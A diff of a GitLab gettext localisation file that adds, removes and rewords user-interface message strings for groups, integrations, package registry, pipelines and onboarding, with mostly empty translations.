@@ -15467,6 +15685,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15785,9 +16006,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15824,22 +16042,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -15911,7 +16138,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -15926,6 +16153,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -15938,6 +16168,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16053,9 +16295,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16084,9 +16323,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16171,9 +16407,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr "ID"
@@ -16183,9 +16434,6 @@ msgstr "ID:"
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16339,6 +16587,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16582,6 +16833,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16615,6 +16869,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16627,9 +16884,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16642,6 +16908,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16768,6 +17037,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16807,6 +17079,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16822,10 +17097,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16861,9 +17136,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -16939,6 +17223,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -16978,6 +17265,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17017,6 +17307,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17032,9 +17325,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17164,7 +17454,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17360,10 +17650,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17441,7 +17731,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17627,7 +17917,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -17861,6 +18151,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -17930,12 +18223,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -17963,6 +18250,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18008,6 +18316,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18110,6 +18421,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18119,6 +18433,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18152,13 +18472,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18182,7 +18502,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18257,6 +18577,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18272,10 +18595,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18362,7 +18685,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18410,6 +18733,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18425,6 +18760,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18518,6 +18856,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18551,6 +18892,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18578,9 +18922,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18617,6 +18982,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18858,18 +19226,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19041,6 +19403,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19077,6 +19445,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19558,7 +19929,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19816,6 +20187,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -19903,6 +20277,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20098,6 +20475,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20149,9 +20529,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20440,10 +20817,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20543,6 +20920,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20717,10 +21097,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -20976,6 +21356,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21108,6 +21494,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21135,6 +21524,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21301,9 +21693,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21403,9 +21792,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21752,7 +22138,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21779,6 +22165,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -21992,6 +22381,9 @@ msgstr "ç„¡"
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22314,6 +22706,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22693,7 +23088,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22792,7 +23187,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -22858,6 +23253,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -22885,6 +23283,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -22927,6 +23328,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -22948,6 +23352,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -22999,9 +23406,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23011,6 +23427,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23026,6 +23445,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23071,6 +23493,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23083,12 +23508,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23185,7 +23604,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23200,6 +23619,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23251,6 +23673,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23386,6 +23811,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23464,6 +23892,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23518,6 +23949,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23584,6 +24063,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23641,6 +24123,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23662,6 +24147,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23716,6 +24204,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23746,9 +24237,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24046,9 +24534,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24085,6 +24579,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24094,6 +24591,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24127,9 +24627,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24157,6 +24654,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24313,6 +24813,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24667,7 +25170,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -24925,6 +25428,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
